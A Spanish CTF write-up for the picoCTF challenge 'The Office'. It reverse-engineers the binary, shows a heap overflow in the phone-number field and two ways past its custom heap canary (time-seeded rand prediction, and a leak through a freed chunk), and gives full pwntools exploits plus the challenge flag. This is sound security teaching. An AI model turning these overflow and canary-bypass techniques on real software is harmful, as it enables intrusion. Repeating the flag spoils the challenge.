The Office
17 minutos de lectura
Se nos proporciona un binario de 32 bits llamado the_office
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
El reto dice que han implementado un heap seguro utilizando canarios (heap canaries).
No disponemos del código en C. Por tanto, necesitamos utilizar una herramienta de ingeniería inversa como Ghidra.
Aunque el archivo ha sido despojado de los símbolos:
$ file the_office
the_office: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd5f440d82f17865303f292401c3e1ea843a0e25, stripped
Podemos identificar el main
porque es el argumento de __libc_start_main
:
void entry() {
__libc_start_main(FUN_08048e49);
do {
/* WARNING: Do nothing block with infinite loop */
} while(true);
}
Ahora renombramos la función como main
, y esta es:
undefined4 main(undefined4 param_1, undefined4 *param_2) {
undefined4 *puVar1;
char cVar2;
int iVar3;
int iVar4;
undefined4 uVar5;
int in_GS_OFFSET;
int local_64;
int local_60;
int local_5c;
int local_58;
int local_54;
int local_50 [11];
int local_24;
undefined *local_14;
puVar1 = param_2;
local_14 = (undefined *) ¶m_1;
local_24 = *(int *) (in_GS_OFFSET + 0x14);
setbuf(stdout, (char *) 0x0);
for (local_60 = 0; local_60 < 10; local_60 = local_60 + 1) {
local_50[local_60 + 1] = 0;
}
local_5c = 3;
do {
if (local_5c == 0) {
uVar5 = 0;
LAB_080490d4:
if (local_24 != *(int *) (in_GS_OFFSET + 0x14)) {
uVar5 = FUN_08049bd0();
}
return uVar5;
}
local_64 = -1;
if (local_5c == 2) {
puts("Employee #?");
iVar4 = __isoc99_scanf("%1d", &local_64);
if (((iVar4 == 1) && (-1 < local_64)) && (local_64 < 10)) {
do {
local_50[0] = getchar();
if (local_50[0] == 10) break;
} while (local_50[0] != -1);
FUN_08048cdc(local_50[local_64 + 1]);
local_50[local_64 + 1] = 0;
} else {
puts("Invalid ID.");
}
} else if (local_5c < 3) {
if (local_5c == 1) {
for (local_58 = 0;
(local_58 < 0xb &&
((local_64 = local_58, 9 < local_58 || (local_50[local_58 + 1] != 0))));
local_58 = local_58 + 1) {
}
iVar4 = local_64;
if (local_64 < 10) {
iVar3 = add_employee();
local_50[iVar4 + 1] = iVar3;
} else {
puts("Can\'t add any more employees.");
}
}
} else if (local_5c == 3) {
for (local_54 = 0; local_54 < 10; local_54 = local_54 + 1) {
if (local_50[local_54 + 1] != 0) {
print_employee(local_50[local_54 + 1], local_54);
}
}
} else if (local_5c == 4) {
puts("Employee #?");
iVar4 = __isoc99_scanf("%1d", &local_64);
if (((iVar4 == 1) && (-1 < local_64)) && (local_64 < 10)) {
do {
local_50[0] = getchar();
if (local_50[0] == 10) break;
} while (local_50[0] != -1);
get_access_token(local_50[local_64 + 1]);
} else {
puts("Invalid ID.");
}
}
cVar2 = debug(0);
if (cVar2 != '\x01') {
printf("*** heap smashing detected ***: %s terminated\n", *puVar1);
uVar5 = 0xffffffff;
goto LAB_080490d4;
}
local_5c = menu();
} while(true);
}
El código es un poco largo. Vamos a ejecutarlo a ver qué hace:
$ ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Tenemos algunas funcionalidades. En el código del main
, renombré algunas de las funciones que tiene el binario. Por ejemplo, esta es get_access_token
:
void get_access_token(char *param_1) {
int iVar1;
FILE *__stream;
char *pcVar2;
int in_GS_OFFSET;
char local_90[128];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
iVar1 = strncmp(param_1, "admin", 6);
if (iVar1 != 0) {
puts("Not admin");
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
FUN_08049bd0();
}
return;
}
__stream = fopen("flag.txt", "r");
if (__stream == (FILE *) 0x0) {
puts("Unable to open flag!");
/* WARNING: Subroutine does not return */
exit(-1);
}
pcVar2 = fgets(local_90, 0x7f, __stream);
if (pcVar2 != (char *) 0x0) {
puts(local_90);
fclose(__stream);
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Unable to read flag!");
/* WARNING: Subroutine does not return */
exit(-1);
}
Como podemos ver, si el nombre de usuario de un empleado es admin
, podemos leer la flag. Esta es la función para crear un empleado:
char * add_employee() {
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
char local_9d;
char *local_9c;
size_t local_98;
char local_94;
char local_90[128];
int local_10;
local_10 = *(int *) (in_GS_OFFSET + 0x14);
local_9c = (char *) FUN_080494be(0x28);
if (local_9c == (char *) 0x0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
local_9d = '\0';
local_98 = 0;
printf("Name: ");
iVar1 = __isoc99_scanf("%15s", local_9c);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == L'\n') break;
} while (_local_94 != -1);
iVar1 = strncmp(local_9c, "admin", 6);
if (iVar1 == 0) {
puts("Cannot be admin!");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Email (y/n)? ");
iVar1 = __isoc99_scanf("%c", &local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == L'\n') break;
} while (_local_94 != -1);
if ((local_9d == 'n') || (local_9d == 'N')) {
*(undefined4 *)(local_9c + 0x10) = 0;
}
else {
printf("Email address: ");
iVar1 = __isoc99_scanf("%127s", local_90);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
local_98 = strnlen(local_90, 0x7f);
uVar2 = FUN_080494be(local_98 + 1);
*(undefined4 *) (local_9c + 0x10) = uVar2;
if (*(int *) (local_9c + 0x10) == 0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
strncpy(*(char **) (local_9c + 0x10), local_90, local_98);
*(undefined *) (local_98 + *(int *) (local_9c + 0x10)) = 0;
}
printf("Salary: ");
iVar1 = __isoc99_scanf("%u", local_9c + 0x14);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
printf("Phone #: ");
iVar1 = __isoc99_scanf("%s", local_9c + 0x18);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
printf("Bldg (y/n)? ");
iVar1 = __isoc99_scanf("%c", &local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
if ((local_9d != 'n') && (local_9d != 'N')) {
printf("Bldg #: ");
iVar1 = __isoc99_scanf("%u", local_9c + 0x24);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
_local_94 = getchar();
if (_local_94 == 10) break;
} while (_local_94 != -1);
}
putchar(10);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
local_9c = (char *) FUN_08049bd0();
}
return local_9c;
}
En el código, se observa que no podemos crear un usuario que se llame admin
. Además, vemos que el campo Phone #
es vulnerable a Buffer Overflow, porque no se limita el número de caracteres que podemos introducir:
printf("Phone #: ");
iVar1 = __isoc99_scanf("%s", local_9c + 0x18);
Podemos tratar de desbordarlo:
$ ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: asdf
Email (y/n)? n
Salary: 1234
Phone #: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bldg (y/n)? n
*** heap smashing detected ***: ./the_office terminated
Como hay un canario protegiendo los ataques de heap overflow. Vamos a utilizar GDB para ver cómo se gestiona el heap:
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ break puts
Breakpoint 1 at 0x8048600
gef➤ run
Starting program: ./the_office
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? n
Salary: 255
Phone #: BBBB
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
Para encontrar las direcciones del heap, podemos buscar por AAAA
, que es el nombre que le hemos puesto al trabajador:
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In (0xf7ffb000-0xf7ffc000), permission=rw-
0xf7ffb00c - 0xf7ffb010 → "AAAA"
gef➤ x/32x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000fb4 0x00000035 0x00000000
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
Y aquí vemos que está el canario. Para evitarlo, necesitamos fugarlo o calcularlo antes de explotar la vulnerabilidad de Buffer Overflow. Entonces, podremos utilizar el desbordamiento para modificar el nombre del siguiente empleado y poner admin
.
Como se trata de un canario personalizado, podemos descubrir cómo se genera. De hecho, hay una función en el binario que muestra información de depuración del heap, pero está deshabilitada. Sin embargo, tenemos el código fuente descompilado:
undefined4 FUN_08049240() {
undefined4 uVar1;
uint __seed;
if (DAT_0804c070 == (void *) 0x0) {
DAT_0804c074 = mmap((void *) 0x0, 0x1000, 3, 0x22, -1, 0);
if ((DAT_0804c074 == (void *) 0xffffffff) || (DAT_0804c074 == (void *) 0x0)) {
puts("Memory Error :(");
uVar1 = 0;
} else {
__seed = time((time_t *) 0x0);
srand(__seed);
DAT_0804c06c = rand();
DAT_0804c078 = (int) DAT_0804c074 + 0x1000;
DAT_0804c070 = DAT_0804c074;
FUN_080491f0(DAT_0804c074, 0x1000 - DAT_0804c060, 0, 0, 1);
uVar1 = 1;
}
} else {
uVar1 = 1;
}
return uVar1;
}
Está utilizando srand
para configurar una semilla basada en tiempo y rand
para generar el valor del canario mediante un Generador de Números Pseudo Aleatorios (PRNG). Esta parte es similar al reto seed-sPRiNG.
Podemos utilizar este código en C para generar un número aleatorio utilizando el método anterior:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(int argc, char** argv) {
time_t t = time(0);
if (argc == 2) {
t += atoi(argv[1]);
} else {
exit(1);
}
srand(t);
printf("%d\n", rand());
return 0;
}
Este código lo compilamos y lo ejecutamos de la siguiente manera:
$ gcc -o canary canary.c
$ ./canary 0
1073673904
$ ./canary 1
156048449
El número que se pasa como argumento es solamente un offset por si la instancia remota no está sincronizada con nuestra máquina.
Vamos a crear otro usuario utilizando GDB y así visualizar la estrategia:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
Si eliminamos el primer usuario, vemos que los datos no son borrados:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
2
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ continue
Continuing.
Employee #?
0
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000034 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000034 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
La única diferencia con el heap anterior es que hay algunos 0x34
en lugar de 0x35
(lo cual significa que el chunk ya no está en uso, no está reservado). La funcionalidad trata de imitar a free
, ya que al crear otro empleado, se sobrescribe el chunk liberado:
gef➤ continue
Continuing.
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? n
Salary: 65535
Phone #: FFFF
Bldg (y/n)? n
Breakpoint 1, 0xf7e3e290 in puts () from /lib32/libc.so.6
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x1a3e675e 0x00000035 0x00000001 0x45454545
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000ffff 0x46464646 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1a3e675e 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1a3e675e 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
En este punto, podríamos haber explotado la vulnerabilidad de Buffer Overflow (sobrescribiendo el canario con el mismo valor) para modificar el nombre del segundo usuario.
Para automatizarlo, podemos utilizar el siguiente exploit escrito en Python con pwntools
:
#!/usr/bin/env python3
from pwn import context, log, p32, process, remote, sys
context.binary = 'the_office'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def compute_canary(offset):
with context.local(log_level='CRITICAL'):
canary_process = process(['canary', str(offset)])
canary = int(canary_process.recvline().decode())
canary_process.close()
return canary
def add_employee(p, name=b'a', salary=b'1', phone=b'b'):
p.sendlineafter(b'token', b'1')
p.sendlineafter(b'Name: ', name)
p.sendlineafter(b'Email (y/n)? ', b'n')
p.sendlineafter(b'Salary: ', salary)
p.sendlineafter(b'Phone #: ', phone)
p.sendlineafter(b'Bldg (y/n)? ', b'n')
def main():
offset = 0
while True:
log.info(f'Testing offset: {offset}')
p = get_process()
canary = compute_canary(offset)
log.info(f'Computed heap canary: {hex(canary)}')
add_employee(p)
add_employee(p)
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p, phone=b'A' * 28 + p32(canary) + p32(0x35) * 2 + b'admin')
try:
p.sendlineafter(b'token', b'4')
except EOFError:
offset += 1
continue
p.sendlineafter(b'Employee #?\n', b'1')
break
log.success(f'Flag: {p.recvline().decode()}')
p.close()
if __name__ == '__main__':
main()
Nótese que el payload malicioso consiste en 28 caracteres para llegar a la posición del canario, luego el valor aleatorio generado para sobrescribirlo (utilizando el código en C anterior), luego dos 0x00000035
para mantener los metadatos del chunk y después ponemos admin
para el nombre del segundo empleado. Una vez aquí, ya podemos tomar el token de acceso (la flag).
Vamos a probarlo en local:
$ echo THISISTHEFLAG > flag.txt
$ python3 solve.py
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Testing offset: 0
[+] Starting local process './the_office': pid 2018360
[*] Computed heap canary: 0x25399862
[+] Flag: THISISTHEFLAG
[*] Process './the_office' stopped with exit code 0 (pid 2018360)
Ahora podemos probarlo en la instancia remota y obtener la flag:
$ python3 solve.py mercury.picoctf.net 24751
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Testing offset: 0
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Computed heap canary: 0xd83ff5c
[*] Testing offset: 1
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Computed heap canary: 0x4db603e
[+] Flag: picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
[*] Closed connection to mercury.picoctf.net port 24751
[*] Closed connection to mercury.picoctf.net port 2475
Perfecto, tenemos la flag. Pero ahora, vamos a resolver el reto de otra manera: fugando el valor del canario.
Antes vimos que podemos añadir empleados indicando un email y un edificio (Bldg
) si aplica. Vamos a reiniciar GDB y añadir cuatro usuarios (todas las combinaciones).
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ run
Starting program: ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? n
Salary: 15
Phone #: BBBB
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? y
Bldg #: 1
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? y
Email address: aaaa
Salary: 255
Phone #: FFFF
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: GGGG
Email (y/n)? y
Email address: bbbb
Salary: 65535
Phone #: HHHH
Bldg (y/n)? y
Bldg #: 2
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
Ahora podemos comprobar el heap:
gef➤ grep AAAA
[+] Searching 'AAAA' in memory
[+] In (0xf7ffb000-0xf7ffc000), permission=rw-
0xf7ffb00c - 0xf7ffb010 → "AAAA"
gef➤ x/100x 0xf7ffb000
0xf7ffb000: 0x1c180451 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000000f 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x1c180451 0x00000035 0x00000035 0x43434343
0xf7ffb050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb060: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb070: 0x00000001 0x00000000 0x00000000 0x00000000
0xf7ffb080: 0x1c180451 0x00000035 0x00000035 0x45454545
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0xf7ffb0cc
0xf7ffb0a0: 0x000000ff 0x46464646 0x00000000 0x00000000
0xf7ffb0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb0c0: 0x1c180451 0x00000015 0x00000035 0x61616161
0xf7ffb0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb0e0: 0x1c180451 0x00000035 0x00000015 0x47474747
0xf7ffb0f0: 0x00000000 0x00000000 0x00000000 0xf7ffb12c
0xf7ffb100: 0x0000ffff 0x48484848 0x00000000 0x00000000
0xf7ffb110: 0x00000002 0x00000000 0x00000000 0x00000000
0xf7ffb120: 0x1c180451 0x00000015 0x00000035 0x62626262
0xf7ffb130: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb140: 0x1c180451 0x00000eb4 0x00000015 0x00000000
0xf7ffb150: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb160: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb170: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb180: 0x00000000 0x00000000 0x00000000 0x00000000
Como se ve, el campo de email se guarda como un puntero a otro chunk. Si aumentamos la longitud del email, podemos obtener un chunk tal que se ponga el valor del canario en la posición donde estaría el número de edificio en un chunk de empleado (por ejemplo, entre 20 y 35 caracteres):
$ gdb -q the_office
Reading symbols from the_office...
(No debugging symbols found in the_office)
gef➤ run
Starting program: ./the_office
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? y
Email address: aaaaaaaaaaaaaaaaaaaaaaaa
Salary: 255
Phone #: BBBB
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
Este es el heap:
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x73550262 0x00000035 0x00000001 0x41414141
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0xf7ffb04c
0xf7ffb020: 0x000000ff 0x42424242 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x73550262 0x00000025 0x00000035 0x61616161
0xf7ffb050: 0x61616161 0x61616161 0x61616161 0x61616161
0xf7ffb060: 0x61616161 0x00000000 0x00000000 0x00000000
0xf7ffb070: 0x73550262 0x00000f84 0x00000025 0x00000000
0xf7ffb080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
Ahora la idea es liberar el empleado y crear dos empleados, pero sin email:
gef➤ continue
Continuing.
2
Employee #?
0
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: CCCC
Email (y/n)? n
Salary: 127
Phone #: DDDD
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
3
Employee 0:
Name: CCCC
Email:
Salary: 127
Bldg #: 0
Phone #: DDDD
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: EEEE
Email (y/n)? n
Salary: 15
Phone #: FFFF
Bldg (y/n)? n
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
Ahora, hemos sobrescrito algunos de los valores del heap. En concreto, el segundo usuario está posicionado donde estaba el email del primer usuario creado:
gef➤ x/40x 0xf7ffb000
0xf7ffb000: 0x73550262 0x00000035 0x00000001 0x43434343
0xf7ffb010: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb020: 0x0000007f 0x44444444 0x00000000 0x00000000
0xf7ffb030: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ffb040: 0x73550262 0x00000035 0x00000035 0x45454545
0xf7ffb050: 0x61616100 0x61616161 0x61616161 0x00000000
0xf7ffb060: 0x0000000f 0x46464646 0x00000000 0x00000000
0xf7ffb070: 0x73550262 0x00000f84 0x00000025 0x00000000
0xf7ffb080: 0x73550262 0x00000f74 0x00000035 0x00000000
0xf7ffb090: 0x00000000 0x00000000 0x00000000 0x00000000
Y ahora vemos que el segundo empleado tiene el valor del canario en la posición del número de edificio (Bldg
). Por tanto, podemos listar los empleados y fugar su valor:
gef➤ continue
Continuing.
3
Employee 0:
Name: CCCC
Email:
Salary: 127
Bldg #: 0
Phone #: DDDD
Employee 1:
Name: EEEE
Email:
Salary: 15
Bldg #: 1934951010
Phone #: FFFF
Y aquí lo tenemos:
$ python3 -c 'print(hex(1934951010))'
0x73550262
Lo que ha pasado es parecido a una vulnerabilidad de Use After Free.
Ahora, el proceso de exlpotación es igual que el de antes, pero en logar de calcular el valor del canario mediante PRNG, lo fugamos. El exploit de Python que resuelve el reto de esta manera es este:
#!/usr/bin/env python3
from pwn import context, log, p32, process, remote, sys
context.binary = 'the_office'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def add_employee(p, name=b'a', email=None, salary=b'1', phone=b'b'):
p.sendlineafter(b'token', b'1')
p.sendlineafter(b'Name: ', name)
if email:
p.sendlineafter(b'Email (y/n)? ', b'y')
p.sendlineafter(b'Email address: ', email)
else:
p.sendlineafter(b'Email (y/n)? ', b'n')
p.sendlineafter(b'Salary: ', salary)
p.sendlineafter(b'Phone #: ', phone)
p.sendlineafter(b'Bldg (y/n)? ', b'n')
def main():
p = get_process()
add_employee(p, email=b'A' * 24)
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p)
add_employee(p)
p.sendlineafter(b'token', b'3')
p.recvuntil(b'Bldg #: ')
p.recvuntil(b'Bldg #: ')
canary = int(p.recvline().strip().decode())
log.info(f'Leaked heap canary: {hex(canary)}')
p.sendlineafter(b'token', b'2')
p.sendlineafter(b'Employee #?\n', b'0')
add_employee(p, phone=b'A' * 28 + p32(canary) + p32(0x35) * 2 + b'admin')
p.sendlineafter(b'token', b'4')
p.sendlineafter(b'Employee #?\n', b'1')
log.success(f'Flag: {p.recvline().decode()}')
p.close()
if __name__ == '__main__':
main()
Y funciona tanto en local como en remoto:
$ echo THISISTHEFLAG > flag.txt
$ python3 solve2.py
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './the_office': pid 2081382
[*] Leaked heap canary: 0x5c3b7895
[*] Process './the_office' stopped with exit code 0 (pid 2081382)
[+] Flag: THISISTHEFLAG
$ python3 solve2.py mercury.picoctf.net 24751
[*] './the_office'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 24751: Done
[*] Leaked heap canary: 0x29df8536
[+] Flag: picoCTF{cb3b0507a278ae12d2465d4c8ee30f31}
[*] Closed connection to mercury.picoctf.net port 24751